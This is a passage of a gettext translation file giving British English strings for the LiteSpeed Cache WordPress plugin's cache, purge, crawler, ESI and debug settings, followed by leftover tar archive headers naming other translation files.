msgstr "Advanced level will log more details."

#: tpl/presets/standard.tpl.php:29 tpl/toolbox/settings-debug.tpl.php:117
msgid "Basic"
msgstr "Basic"

#: tpl/crawler/settings.tpl.php:73
msgid "The maximum average server load allowed while crawling. The number of crawler threads in use will be actively reduced until average server load falls under this limit. If this cannot be achieved with a single thread, the current crawler run will be terminated."
msgstr "The maximum average server load allowed while crawling. The number of crawler threads in use will be actively reduced until average server load falls under this limit. If this cannot be achieved with a single thread, the current crawler run will be terminated."

#: src/lang.cls.php:106
msgid "Cache Login Page"
msgstr "Cache Login Page"

#: tpl/cache/settings-cache.tpl.php:89
msgid "Cache requests made by WordPress REST API calls."
msgstr "Cache requests made by WordPress REST API calls."

#: src/lang.cls.php:105
msgid "Cache REST API"
msgstr "Cache REST API"

#: tpl/cache/settings-cache.tpl.php:76
msgid "Privately cache commenters that have pending comments. Disabling this option will serve non-cacheable pages to commenters. (LSWS %s required)"
msgstr "Privately cache commenters that have pending comments. Disabling this option will serve non-cacheable pages to commenters. (LSWS %s required)"

#: src/lang.cls.php:104
msgid "Cache Commenters"
msgstr "Cache Commenters"

#: tpl/cache/settings-cache.tpl.php:63
msgid "Privately cache frontend pages for logged-in users. (LSWS %s required)"
msgstr "Privately cache frontend pages for logged-in users. (LSWS %s required)"

#: src/lang.cls.php:103
msgid "Cache Logged-in Users"
msgstr "Cache Logged-in Users"

#: tpl/cache/network_settings-cache.tpl.php:17
#: tpl/cache/settings-cache.tpl.php:15
msgid "Cache Control Settings"
msgstr "Cache Control Settings"

#: tpl/cache/entry.tpl.php:70
msgid "ESI"
msgstr "ESI"

#: tpl/cache/entry.tpl.php:19 tpl/cache/entry.tpl.php:69
msgid "Excludes"
msgstr "Excludes"

#: tpl/cache/entry.tpl.php:18 tpl/cache/entry.tpl.php:68
#: tpl/toolbox/entry.tpl.php:16 tpl/toolbox/purge.tpl.php:141
msgid "Purge"
msgstr "Purge"

#: src/admin-display.cls.php:254 tpl/cache/entry.tpl.php:17
#: tpl/cache/entry.tpl.php:66
msgid "Cache"
msgstr "Cache"

#: tpl/cache/settings-purge.tpl.php:132
msgid "Current server time is %s."
msgstr "Current server time is %s."

#: tpl/cache/settings-purge.tpl.php:131
msgid "Specify the time to purge the \"%s\" list."
msgstr "Specify the time to purge the \"%s\" list."

#: tpl/cache/settings-purge.tpl.php:107
msgid "Both %1$s and %2$s are acceptable."
msgstr "Both %1$s and %2$s are acceptable."

#: src/lang.cls.php:129 tpl/cache/settings-purge.tpl.php:106
msgid "Scheduled Purge Time"
msgstr "Scheduled Purge Time"

#: tpl/cache/settings-purge.tpl.php:106
msgid "The URLs here (one per line) will be purged automatically at the time set in the option \"%s\"."
msgstr "The URLs here (one per line) will be purged automatically at the time set in the option \"%s\"."

#: src/lang.cls.php:128 tpl/cache/settings-purge.tpl.php:131
msgid "Scheduled Purge URLs"
msgstr "Scheduled Purge URLs"

#: tpl/toolbox/settings-debug.tpl.php:147
msgid "Shorten query strings in the debug log to improve readability."
msgstr "Shorten query strings in the debug log to improve readability."

#: tpl/toolbox/entry.tpl.php:28
msgid "Heartbeat"
msgstr "Heartbeat"

#: tpl/toolbox/settings-debug.tpl.php:130
msgid "MB"
msgstr "MB"

#: src/lang.cls.php:260
msgid "Log File Size Limit"
msgstr "Log File Size Limit"

#: src/htaccess.cls.php:784
msgid "<p>Please add/replace the following codes into the beginning of %1$s:</p> %2$s"
msgstr "<p>Please add/replace the following codes into the beginning of %1$s:</p> %2$s"

#: src/error.cls.php:159 src/error.cls.php:183
msgid "%s file not writable."
msgstr "%s file not writable."

#: src/error.cls.php:179
msgid "%s file not readable."
msgstr "%s file not readable."

#: src/lang.cls.php:261
msgid "Collapse Query Strings"
msgstr "Collapse Query Strings"

#: tpl/cache/settings-esi.tpl.php:15
msgid "ESI Settings"
msgstr "ESI Settings"

#: tpl/esi_widget_edit.php:82
msgid "A TTL of 0 indicates do not cache."
msgstr "A TTL of 0 indicates do not cache."

#: tpl/esi_widget_edit.php:81
msgid "Recommended value: 28800 seconds (8 hours)."
msgstr "Recommended value: 28800 seconds (8 hours)."

#: src/lang.cls.php:216 tpl/esi_widget_edit.php:43
msgid "Enable ESI"
msgstr "Enable ESI"

#: src/lang.cls.php:254
msgid "Custom Sitemap"
msgstr "Custom Sitemap"

#: tpl/toolbox/purge.tpl.php:214
msgid "Purge pages by relative or full URL."
msgstr "Purge pages by relative or full URL."

#: tpl/crawler/summary.tpl.php:61
msgid "The crawler feature is not enabled on the LiteSpeed server. Please consult your server admin or hosting provider."
msgstr "The crawler feature is not enabled on the LiteSpeed server. Please consult your server admin or hosting provider."

#: tpl/cache/settings-esi.tpl.php:45 tpl/cdn/cf.tpl.php:100
#: tpl/crawler/summary.tpl.php:60 tpl/inc/check_cache_disabled.php:38
#: tpl/inc/check_if_network_disable_all.php:28
#: tpl/page_optm/settings_css.tpl.php:77 tpl/page_optm/settings_css.tpl.php:211
#: tpl/page_optm/settings_localization.tpl.php:21
msgid "WARNING"
msgstr "WARNING"

#: tpl/crawler/summary.tpl.php:82
msgid "The next complete sitemap crawl will start at"
msgstr "The next complete sitemap crawl will start at"

#: src/file.cls.php:179
msgid "Failed to write to %s."
msgstr "Failed to write to %s."

#: src/file.cls.php:162
msgid "Folder is not writable: %s."
msgstr "Folder is not writable: %s."

#: src/file.cls.php:154
msgid "Can not create folder: %1$s. Error: %2$s"
msgstr "Can not create folder: %1$s. Error: %2$s"

#: src/file.cls.php:142
msgid "Folder does not exist: %s"
msgstr "Folder does not exist: %s"

#: src/core.cls.php:339
msgid "Notified LiteSpeed Web Server to purge the list."
msgstr "Notified LiteSpeed Web Server to purge the list."

#: tpl/toolbox/settings-debug.tpl.php:97
msgid "Allows listed IPs (one per line) to perform certain actions from their browsers."
msgstr "Allows listed IPs (one per line) to perform certain actions from their browsers."

#: src/lang.cls.php:251
msgid "Server Load Limit"
msgstr "Server Load Limit"

#: tpl/crawler/settings.tpl.php:45
msgid "Specify how long in seconds before the crawler should initiate crawling the entire sitemap again."
msgstr "Specify how long in seconds before the crawler should initiate crawling the entire sitemap again."

#: src/lang.cls.php:250
msgid "Crawl Interval"
msgstr "Crawl Interval"

#. translators: %s: Example subdomain
#: tpl/cache/settings_inc.login_cookie.tpl.php:53
msgid "Then another WordPress is installed (NOT MULTISITE) at %s"
msgstr "Then another WordPress is installed (NOT MULTISITE) at %s"

#: tpl/cache/entry.tpl.php:28
msgid "LiteSpeed Cache Network Cache Settings"
msgstr "LiteSpeed Cache Network Cache Settings"

#: tpl/toolbox/purge.tpl.php:179
msgid "Select below for \"Purge by\" options."
msgstr "Select below for \"Purge by\" options."

#: tpl/cdn/entry.tpl.php:22
msgid "LiteSpeed Cache CDN"
msgstr "LiteSpeed Cache CDN"

#: tpl/crawler/summary.tpl.php:293
msgid "No crawler meta file generated yet"
msgstr "No crawler meta file generated yet"

#: tpl/crawler/summary.tpl.php:278
msgid "Show crawler status"
msgstr "Show crawler status"

#: tpl/crawler/summary.tpl.php:272
msgid "Watch Crawler Status"
msgstr "Watch Crawler Status"

#: tpl/crawler/summary.tpl.php:251
msgid "Run frequency is set by the Interval Between Runs setting."
msgstr "Run frequency is set by the Interval Between Runs setting."

#: tpl/crawler/summary.tpl.php:142
msgid "Manually run"
msgstr "Manually run"

#: tpl/crawler/summary.tpl.php:141
msgid "Reset position"
msgstr "Reset position"

#: tpl/crawler/summary.tpl.php:152
msgid "Run Frequency"
msgstr "Run Frequency"

#: tpl/crawler/summary.tpl.php:151
msgid "Cron Name"
msgstr "Cron Name"

#: tpl/crawler/summary.tpl.php:54
msgid "Crawler Cron"
msgstr "Crawler Cron"

#: cli/crawler.cls.php:100 tpl/crawler/summary.tpl.php:47
msgid "%d minute"
msgstr "%d minute"

#: cli/crawler.cls.php:98 tpl/crawler/summary.tpl.php:47
msgid "%d minutes"
msgstr "%d minutes"

#: cli/crawler.cls.php:91 tpl/crawler/summary.tpl.php:39
msgid "%d hour"
msgstr "%d hour"

#: cli/crawler.cls.php:89 tpl/crawler/summary.tpl.php:39
msgid "%d hours"
msgstr "%d hours"

#: tpl/crawler/map.tpl.php:40
msgid "Generated at %s"
msgstr "Generated at %s"

#: tpl/crawler/entry.tpl.php:23
msgid "LiteSpeed Cache Crawler"
msgstr "LiteSpeed Cache Crawler"

#: src/admin-display.cls.php:259 src/lang.cls.php:249
msgid "Crawler"
msgstr "Crawler"

#. Plugin URI of the plugin
#: litespeed-cache.php
msgid "https://www.litespeedtech.com/products/cache-plugins/wordpress-acceleration"
msgstr "https://www.litespeedtech.com/products/cache-plugins/wordpress-acceleration"

#: src/purge.cls.php:698
msgid "Notified LiteSpeed Web Server to purge all pages."
msgstr "Notified LiteSpeed Web Server to purge all pages."

#: tpl/cache/settings-purge.tpl.php:25
msgid "All pages with Recent Posts Widget"
msgstr "All pages with Recent Posts Widget"

#: tpl/cache/settings-purge.tpl.php:24
msgid "Pages"
msgstr "Pages"

#: tpl/toolbox/purge.tpl.php:24
msgid "This will Purge Pages only"
msgstr "This will Purge Pages only"

#: tpl/toolbox/purge.tpl.php:23
msgid "Purge Pages"
msgstr "Purge Pages"

#: src/gui.cls.php:83 tpl/inc/modal.deactivation.php:77
msgid "Cancel"
msgstr "Cancel"

#: tpl/crawler/summary.tpl.php:154
msgid "Activate"
msgstr "Activate"

#: tpl/cdn/cf.tpl.php:44
msgid "Email Address"
msgstr "Email Address"

#: src/gui.cls.php:869
msgid "Install Now"
msgstr "Install Now"

#: cli/purge.cls.php:133
msgid "Purged the blog!"
msgstr "Purged the blog!"

#: cli/purge.cls.php:86
msgid "Purged All!"
msgstr "Purged All!"

#: src/purge.cls.php:718
msgid "Notified LiteSpeed Web Server to purge error pages."
msgstr "Notified LiteSpeed Web Server to purge error pages."

#: tpl/inc/show_error_cookie.php:27
msgid "If using OpenLiteSpeed, the server must be restarted once for the changes to take effect."
msgstr "If using OpenLiteSpeed, the server must be restarted once for the changes to take effect."

#: tpl/inc/show_error_cookie.php:18
msgid "If the login cookie was recently changed in the settings, please log out and back in."
msgstr "If the login cookie was recently changed in the settings, please log out and back in."

#: tpl/inc/show_display_installed.php:29
msgid "However, there is no way of knowing all the possible customizations that were implemented."
msgstr "However, there is no way of knowing all the possible customisations that were implemented."

#: tpl/inc/show_display_installed.php:28
msgid "The LiteSpeed Cache plugin is used to cache pages - a simple way to improve the performance of the site."
msgstr "The LiteSpeed Cache plugin is used to cache pages - a simple way to improve the performance of the site."

#: tpl/cache/settings-cache.tpl.php:45
msgid "The network admin setting can be overridden here."
msgstr "The network admin setting can be overridden here."

#: tpl/cache/settings-ttl.tpl.php:29
msgid "Specify how long, in seconds, public pages are cached."
msgstr "Specify how long, in seconds, public pages are cached."

#: tpl/cache/settings-ttl.tpl.php:44
msgid "Specify how long, in seconds, private pages are cached."
msgstr "Specify how long, in seconds, private pages are cached."

#: tpl/toolbox/purge.tpl.php:208
msgid "Purge pages by post ID."
msgstr "Purge pages by post ID."

#: tpl/toolbox/purge.tpl.php:41
msgid "Purge the LiteSpeed cache entries created by this plugin"
msgstr "Purge the LiteSpeed cache entries created by this plugin"

#: tpl/toolbox/purge.tpl.php:18
msgid "This will Purge Front Page only"
msgstr "This will Purge Front Page only"

#: tpl/toolbox/purge.tpl.php:211
msgid "Purge pages by tag name - e.g. %2$s should be used for the URL %1$s."
msgstr "Purge pages by tag name - e.g. %2$s should be used for the URL %1$s."

#: tpl/toolbox/purge.tpl.php:205
msgid "Purge pages by category name - e.g. %2$s should be used for the URL %1$s."
msgstr "Purge pages by category name - e.g. %2$s should be used for the URL %1$s."

#: tpl/toolbox/purge.tpl.php:132
msgid "If only the WordPress site should be purged, use Purge All."
msgstr "If only the WordPress site should be purged, use Purge All."

#: src/core.cls.php:334
msgid "Notified LiteSpeed Web Server to purge everything."
msgstr "Notified LiteSpeed Web Server to purge everything."

#: tpl/general/network_settings.tpl.php:31
msgid "Use Primary Site Configuration"
msgstr "Use Primary Site Configuration"

#: tpl/general/network_settings.tpl.php:36
msgid "This will disable the settings page on all subsites."
msgstr "This will disable the settings page on all subsites."

#: tpl/general/network_settings.tpl.php:35
msgid "Check this option to use the primary site's configuration for all subsites."
msgstr "Check this option to use the primary site's configuration for all subsites."

#: src/admin-display.cls.php:988 src/admin-display.cls.php:993
msgid "Save Changes"
msgstr "Save Changes"

#: tpl/inc/check_if_network_disable_all.php:31
msgid "The following options are selected, but are not editable in this settings page."
msgstr "The following options are selected, but are not editable in this settings page."

#: tpl/inc/check_if_network_disable_all.php:30
msgid "The network admin selected use primary site configs for all subsites."
msgstr "The network admin selected use primary site configs for all subsites."

#: tpl/toolbox/purge.tpl.php:127
msgid "Empty Entire Cache"
msgstr "Empty Entire Cache"

#: tpl/toolbox/purge.tpl.php:128
msgid "This action should only be used if things are cached incorrectly."
msgstr "This action should only be used if things are cached incorrectly."

#: tpl/toolbox/purge.tpl.php:132
msgid "This may cause heavy load on the server."
msgstr "This may cause heavy load on the server."

#: tpl/toolbox/purge.tpl.php:132
msgid "This will clear EVERYTHING inside the cache."
msgstr "This will clear EVERYTHING inside the cache."

#: src/gui.cls.php:691
msgid "LiteSpeed Cache Purge All"
msgstr "LiteSpeed Cache Purge All"

#: tpl/inc/show_display_installed.php:41
msgid "If you would rather not move at litespeed, you can deactivate this plugin."
msgstr "If you would rather not move at litespeed, you can deactivate this plugin."

#: tpl/inc/show_display_installed.php:33
msgid "Create a post, make sure the front page is accurate."
msgstr "Create a post, make sure the front page is accurate."

#: tpl/inc/show_display_installed.php:32
msgid "Visit the site while logged out."
msgstr "Visit the site while logged out."

#: tpl/inc/show_display_installed.php:31
msgid "Examples of test cases include:"
msgstr "Examples of test cases include:"

#: tpl/inc/show_display_installed.php:30
msgid "For that reason, please test the site to make sure everything still functions properly."
msgstr "For that reason, please test the site to make sure everything still functions properly."

#: tpl/inc/show_display_installed.php:27
msgid "This message indicates that the plugin was installed by the server admin."
msgstr "This message indicates that the plugin was installed by the server admin."

#: tpl/inc/show_display_installed.php:26
msgid "LiteSpeed Cache plugin is installed!"
msgstr "LiteSpeed Cache plugin is installed!"

#: src/lang.cls.php:257 tpl/toolbox/log_viewer.tpl.php:18
msgid "Debug Log"
msgstr "Debug Log"

#: tpl/toolbox/settings-debug.tpl.php:80
msgid "Admin IP Only"
msgstr "Admin IP Only"

#: tpl/cache/settings-ttl.tpl.php:89
msgid "Specify how long, in seconds, REST calls are cached."
msgstr "Specify how long, in seconds, REST calls are cached."

#: tpl/toolbox/report.tpl.php:66
msgid "The environment report contains detailed information about the WordPress configuration."
msgstr "The environment report contains detailed information about the WordPress configuration."

#: tpl/cache/settings_inc.login_cookie.tpl.php:36
msgid "The server will determine if the user is logged in based on the existence of this cookie."
msgstr "The server will determine if the user is logged in based on the existence of this cookie."

#: tpl/cache/settings-purge.tpl.php:53 tpl/cache/settings-purge.tpl.php:90
#: tpl/cache/settings-purge.tpl.php:114
#: tpl/page_optm/settings_tuning_css.tpl.php:72
#: tpl/page_optm/settings_tuning_css.tpl.php:147
msgid "Note"
msgstr "Note"

#: thirdparty/woocommerce.content.tpl.php:24
msgid "After verifying that the cache works in general, please test the cart."
msgstr "After verifying that the cache works in general, please test the basket."

#: tpl/cache/settings_inc.purge_on_upgrade.tpl.php:25
msgid "When enabled, the cache will automatically purge when any plugin, theme or the WordPress core is upgraded."
msgstr "When enabled, the cache will automatically purge when any plugin, theme or the WordPress core is upgraded."

#: src/lang.cls.php:126
msgid "Purge All On Upgrade"
msgstr "Purge All On Upgrade"

#: thirdparty/woocommerce.content.tpl.php:34
msgid "Product Update Interval"
msgstr "Product Update Interval"

#: thirdparty/woocommerce.content.tpl.php:55
msgid "Determines how changes in product quantity and product stock status affect product pages and their associated category pages."
msgstr "Determines how changes in product quantity and product stock status affect product pages and their associated category pages."

#: thirdparty/woocommerce.content.tpl.php:42
msgid "Always purge both product and categories on changes to the quantity or stock status."
msgstr "Always purge both product and categories on changes to the quantity or stock status."

#: thirdparty/woocommerce.content.tpl.php:41
msgid "Do not purge categories on changes to the quantity or stock status."
msgstr "Do not purge categories on changes to the quantity or stock status."

#: thirdparty/woocommerce.content.tpl.php:41
msgid "Purge product only when the stock status changes."
msgstr "Purge product only when the stock status changes."

#: thirdparty/woocommerce.content.tpl.php:40
msgid "Purge product and categories only when the stock status changes."
msgstr "Purge product and categories only when the stock status changes."

#: thirdparty/woocommerce.content.tpl.php:39
msgid "Purge categories only when stock status changes."
msgstr "Purge categories only when stock status changes."

#: thirdparty/woocommerce.content.tpl.php:39
msgid "Purge product on changes to the quantity or stock status."
msgstr "Purge product on changes to the quantity or stock status."

#: tpl/cache/settings_inc.cache_mobile.tpl.php:47
msgid "Htaccess did not match configuration option."
msgstr ".htaccess did not match configuration option."

#: tpl/cache/settings-ttl.tpl.php:75 tpl/cache/settings-ttl.tpl.php:90
msgid "If this is set to a number less than 30, feeds will not be cached."
msgstr "If this is set to a number less than 30, feeds will not be cached."

#: tpl/cache/settings-ttl.tpl.php:74
msgid "Specify how long, in seconds, feeds are cached."
msgstr "Specify how long, in seconds, feeds are cached."

#: src/lang.cls.php:94
msgid "Default Feed TTL"
msgstr "Default Feed TTL"

#: src/error.cls.php:187
msgid "Failed to get %s file contents."
msgstr "Failed to get %s file contents."

#: tpl/cache/settings-cache.tpl.php:102
msgid "Disabling this option may negatively affect performance."
msgstr "Disabling this option may negatively affect performance."

#: tpl/cache/settings_inc.login_cookie.tpl.php:63
msgid "Invalid login cookie. Invalid characters found."
msgstr "Invalid login cookie. Invalid characters found."

#: tpl/cache/settings_inc.login_cookie.tpl.php:84
msgid "WARNING: The .htaccess login cookie and Database login cookie do not match."
msgstr "WARNING: The .htaccess login cookie and Database login cookie do not match."

#: src/error.cls.php:171
msgid "Invalid login cookie. Please check the %s file."
msgstr "Invalid login cookie. Please check the %s file."

#: tpl/cache/settings_inc.login_cookie.tpl.php:57
msgid "The cache needs to distinguish who is logged into which WordPress site in order to cache correctly."
msgstr "The cache needs to distinguish who is logged into which WordPress site in order to cache correctly."

#. translators: %s: Example domain
#: tpl/cache/settings_inc.login_cookie.tpl.php:45
msgid "There is a WordPress installed for %s."
msgstr "There is a WordPress installed for %s."

#: tpl/cache/settings_inc.login_cookie.tpl.php:41
msgid "Example use case:"
msgstr "Example use case:"

#: tpl/cache/settings_inc.login_cookie.tpl.php:39
msgid "The cookie set here will be used for this WordPress installation."
msgstr "The cookie set here will be used for this WordPress installation."

#: tpl/cache/settings_inc.login_cookie.tpl.php:38
msgid "If every web application uses the same cookie, the server may confuse whether a user is logged in or not."
msgstr "If every web application uses the same cookie, the server may confuse whether a user is logged in or not."

#: tpl/cache/settings_inc.login_cookie.tpl.php:37
msgid "This setting is useful for those that have multiple web applications for the same domain."
msgstr "This setting is useful for those that have multiple web applications for the same domain."

#. translators: %s: Default login cookie name
#: tpl/cache/settings_inc.login_cookie.tpl.php:32
msgid "The default login cookie is %s."
msgstr "The default login cookie is %s."

#: src/lang.cls.php:226
msgid "Login Cookie"
msgstr "Login Cookie"

#: tpl/toolbox/settings-debug.tpl.php:104
msgid "More information about the available commands can be found here."
msgstr "More information about the available commands can be found here."

#: tpl/cache/settings-advanced.tpl.php:22
msgid "These settings are meant for ADVANCED USERS ONLY."
msgstr "These settings are meant for ADVANCED USERS ONLY."

#: tpl/toolbox/edit_htaccess.tpl.php:91
msgid "Current %s Contents"
msgstr "Current %s Contents"

#: tpl/cache/entry.tpl.php:22 tpl/cache/entry.tpl.php:78
#: tpl/toolbox/settings-debug.tpl.php:117
msgid "Advanced"
msgstr "Advanced"

#: tpl/cache/network_settings-advanced.tpl.php:17
#: tpl/cache/settings-advanced.tpl.php:16
msgid "Advanced Settings"
msgstr "Advanced Settings"

#: tpl/toolbox/purge.tpl.php:225
msgid "Purge List"
msgstr "Purge List"

#: tpl/toolbox/purge.tpl.php:176
msgid "Purge By..."
msgstr "Purge By..."

#: tpl/crawler/blacklist.tpl.php:41 tpl/crawler/map.tpl.php:76
#: tpl/toolbox/purge.tpl.php:200
msgid "URL"
msgstr "URL"

#: tpl/toolbox/purge.tpl.php:196
msgid "Tag"
msgstr "Tag"

#: tpl/toolbox/purge.tpl.php:192
msgid "Post ID"
msgstr "Post ID"

#: tpl/toolbox/purge.tpl.php:188
msgid "Category"
msgstr "Category"

#: tpl/inc/show_error_cookie.php:16
msgid "NOTICE: Database login cookie did not match your login cookie."
msgstr "NOTICE: Database login cookie did not match your login cookie."

#: src/purge.cls.php:808
msgid "Purge url %s"
msgstr "Purge URL %s"

#: src/purge.cls.php:774
msgid "Purge tag %s"
msgstr "Purge tag %s"

#: src/purge.cls.php:745
msgid "Purge category %s"
msgstr "Purge category %s"

#: tpl/cache/settings-cache.tpl.php:42
msgid "When disabling the cache, all cached entries for this site will be purged."
msgstr "When disabling the cache, all cached entries for this site will be purged."

#: tpl/cache/settings-cache.tpl.php:42 tpl/crawler/settings.tpl.php:113
#: tpl/crawler/settings.tpl.php:133 tpl/crawler/summary.tpl.php:208
#: tpl/page_optm/entry.tpl.php:42 tpl/toolbox/settings-debug.tpl.php:47
msgid "NOTICE"
msgstr "NOTICE"

#: src/doc.cls.php:137
msgid "This setting will edit the .htaccess file."
msgstr "This setting will edit the .htaccess file."

#: tpl/toolbox/edit_htaccess.tpl.php:41
msgid "LiteSpeed Cache View .htaccess"
msgstr "LiteSpeed Cache View .htaccess"

#: src/error.cls.php:175
msgid "Failed to back up %s file, aborted changes."
msgstr "Failed to back up %s file, aborted changes."

#: src/lang.cls.php:224
msgid "Do Not Cache Cookies"
msgstr "Do Not Cache Cookies"

#: src/lang.cls.php:225
msgid "Do Not Cache User Agents"
msgstr "Do Not Cache User Agents"

#: tpl/cache/network_settings-cache.tpl.php:30
msgid "This is to ensure compatibility prior to enabling the cache for all sites."
msgstr "This is to ensure compatibility prior to enabling the cache for all sites."

#: tpl/cache/network_settings-cache.tpl.php:24
msgid "Network Enable Cache"
msgstr "Network Enable Cache"

#: thirdparty/woocommerce.content.tpl.php:23
#: tpl/cache/settings-advanced.tpl.php:21
#: tpl/cache/settings_inc.browser.tpl.php:23 tpl/toolbox/beta_test.tpl.php:41
#: tpl/toolbox/heartbeat.tpl.php:24 tpl/toolbox/report.tpl.php:46
msgid "NOTICE:"
msgstr "NOTICE:"

#: tpl/cache/settings-purge.tpl.php:56
msgid "Other checkboxes will be ignored."
msgstr "Other checkboxes will be ignored."

#: tpl/cache/settings-purge.tpl.php:55
msgid "Select \"All\" if there are dynamic widgets linked to posts on pages other than the front or home pages."
msgstr "Select \"All\" if there are dynamic widgets linked to posts on pages other than the front or home pages."

#: src/lang.cls.php:108 tpl/cache/settings_inc.cache_mobile.tpl.php:92
msgid "List of Mobile User Agents"
msgstr "List of Mobile User Agents"

#: src/file.cls.php:168 src/file.cls.php:172
msgid "File %s is not writable."
msgstr "File %s is not writable."

#: tpl/page_optm/entry.tpl.php:17 tpl/page_optm/settings_js.tpl.php:17
msgid "JS Settings"
msgstr "JS Settings"

#: src/gui.cls.php:710 tpl/db_optm/entry.tpl.php:13
msgid "Manage"
msgstr "Manage"

#: src/lang.cls.php:93
msgid "Default Front Page TTL"
msgstr "Default Front Page TTL"

#: src/purge.cls.php:684
msgid "Notified LiteSpeed Web Server to purge the front page."
msgstr "Notified LiteSpeed Web Server to purge the front page."

#: tpl/toolbox/purge.tpl.php:17
msgid "Purge Front Page"
msgstr "Purge Front Page"

#: tpl/page_optm/settings_localization.tpl.php:137
#: tpl/toolbox/beta_test.tpl.php:50
msgid "Example"
msgstr "Example"

#: tpl/cache/settings-excludes.tpl.php:99
msgid "All tags are cached by default."
msgstr "All tags are cached by default."

#: tpl/cache/settings-excludes.tpl.php:66
msgid "All categories are cached by default."
msgstr "All categories are cached by default."

#. translators: %s: dollar symbol
#: src/admin-display.cls.php:1540
msgid "To do an exact match, add %s to the end of the URL."
msgstr "To do an exact match, add %s to the end of the URL."

#: src/admin-display.cls.php:1533
msgid "The URLs will be compared to the REQUEST_URI server variable."
msgstr "The URLs will be compared to the REQUEST_URI server variable."

#: tpl/cache/settings-purge.tpl.php:57
msgid "Select only the archive types that are currently used, the others can be left unchecked."
msgstr "Select only the archive types that are currently used, the others can be left unchecked."

#: tpl/toolbox/report.tpl.php:122
msgid "Notes"
msgstr "Notes"

#: tpl/cache/settings-cache.tpl.php:28
msgid "Use Network Admin Setting"
msgstr "Use Network Admin Setting"

#: tpl/esi_widget_edit.php:54
msgid "Disable"
msgstr "Disable"

#: tpl/cache/network_settings-cache.tpl.php:28
msgid "Enabling LiteSpeed Cache for WordPress here enables the cache for the network."
msgstr "Enabling LiteSpeed Cache for WordPress here enables the cache for the network."

#: tpl/cache/settings_inc.object.tpl.php:16
msgid "Disabled"
msgstr "Disabled"

#: tpl/cache/settings_inc.object.tpl.php:15
msgid "Enabled"
msgstr "Enabled"

#: src/lang.cls.php:136
msgid "Do Not Cache Roles"
msgstr "Do Not Cache Roles"

#. Author URI of the plugin
#: litespeed-cache.php
msgid "https://www.litespeedtech.com"
msgstr "https://www.litespeedtech.com"

#. Author of the plugin
#: litespeed-cache.php
msgid "LiteSpeed Technologies"
msgstr "LiteSpeed Technologies"

#. Plugin Name of the plugin
#: litespeed-cache.php tpl/banner/new_version.php:57
#: tpl/banner/new_version_dev.tpl.php:21 tpl/cache/more_settings_tip.tpl.php:28
#: tpl/esi_widget_edit.php:41 tpl/inc/admin_footer.php:17
msgid "LiteSpeed Cache"
msgstr "LiteSpeed Cache"

#: src/lang.cls.php:259
msgid "Debug Level"
msgstr "Debug Level"

#: tpl/general/settings.tpl.php:72 tpl/general/settings.tpl.php:79
#: tpl/general/settings.tpl.php:86 tpl/general/settings.tpl.php:103
#: tpl/page_optm/settings_media.tpl.php:253
#: tpl/page_optm/settings_vpi.tpl.php:44
msgid "Notice"
msgstr "Notice"

#: tpl/cache/settings-purge.tpl.php:31
msgid "Term archive (include category, tag, and tax)"
msgstr "Term archive (include category, tag, and tax)"

#: tpl/cache/settings-purge.tpl.php:30
msgid "Daily archive"
msgstr "Daily archive"

#: tpl/cache/settings-purge.tpl.php:29
msgid "Monthly archive"
msgstr "Monthly archive"

#: tpl/cache/settings-purge.tpl.php:28
msgid "Yearly archive"
msgstr "Yearly archive"

#: tpl/cache/settings-purge.tpl.php:27
msgid "Post type archive"
msgstr "Post type archive"

#: tpl/cache/settings-purge.tpl.php:26
msgid "Author archive"
msgstr "Author archive"

#: tpl/cache/settings-purge.tpl.php:23
msgid "Home page"
msgstr "Home page"

#: tpl/cache/settings-purge.tpl.php:22
msgid "Front page"
msgstr "Front page"

#: tpl/cache/settings-purge.tpl.php:21
msgid "All pages"
msgstr "All pages"

#: tpl/cache/settings-purge.tpl.php:73
msgid "Select which pages will be automatically purged when posts are published/updated."
msgstr "Select which pages will be automatically purged when posts are published/updated."

#: tpl/cache/settings-purge.tpl.php:50
msgid "Auto Purge Rules For Publish/Update"
msgstr "Auto Purge Rules For Publish/Update"

#: src/lang.cls.php:91
msgid "Default Public Cache TTL"
msgstr "Default Public Cache TTL"

#: src/admin-display.cls.php:1327 tpl/cache/settings_inc.object.tpl.php:162
#: tpl/crawler/settings.tpl.php:43 tpl/esi_widget_edit.php:78
msgid "seconds"
msgstr "seconds"

#: src/lang.cls.php:258
msgid "Admin IPs"
msgstr "Admin IPs"

#: src/admin-display.cls.php:253
msgid "General"
msgstr "General"

#: tpl/cache/entry.tpl.php:100
msgid "LiteSpeed Cache Settings"
msgstr "LiteSpeed Cache Settings"

#: src/purge.cls.php:235
msgid "Notified LiteSpeed Web Server to purge all LSCache entries."
msgstr "Notified LiteSpeed Web Server to purge all LSCache entries."

#: src/gui.cls.php:554 src/gui.cls.php:562 src/gui.cls.php:570
#: src/gui.cls.php:579 src/gui.cls.php:589 src/gui.cls.php:599
#: src/gui.cls.php:609 src/gui.cls.php:619 src/gui.cls.php:628
#: src/gui.cls.php:638 src/gui.cls.php:648 src/gui.cls.php:736
#: src/gui.cls.php:744 src/gui.cls.php:752 src/gui.cls.php:761
#: src/gui.cls.php:771 src/gui.cls.php:781 src/gui.cls.php:791
#: src/gui.cls.php:801 src/gui.cls.php:810 src/gui.cls.php:820
#: src/gui.cls.php:830 tpl/page_optm/settings_media.tpl.php:141
#: tpl/toolbox/purge.tpl.php:40 tpl/toolbox/purge.tpl.php:47
#: tpl/toolbox/purge.tpl.php:55 tpl/toolbox/purge.tpl.php:64
#: tpl/toolbox/purge.tpl.php:73 tpl/toolbox/purge.tpl.php:82
#: tpl/toolbox/purge.tpl.php:91 tpl/toolbox/purge.tpl.php:100
#: tpl/toolbox/purge.tpl.php:109 tpl/toolbox/purge.tpl.php:117
msgid "Purge All"
msgstr "Purge All"

#: src/admin-display.cls.php:538 src/gui.cls.php:718
#: tpl/crawler/entry.tpl.php:17
msgid "Settings"
msgstr "Settings"litespeed-wp-plugin/7.5.0.1/translations/.ls_translation_check_pt_BR000064400000000000151031165260021237 0ustar00litespeed-wp-plugin/7.5.0.1/translations/litespeed-cache-en_GB.l10n.php000064400000243732151031165260021255 0ustar00<?php
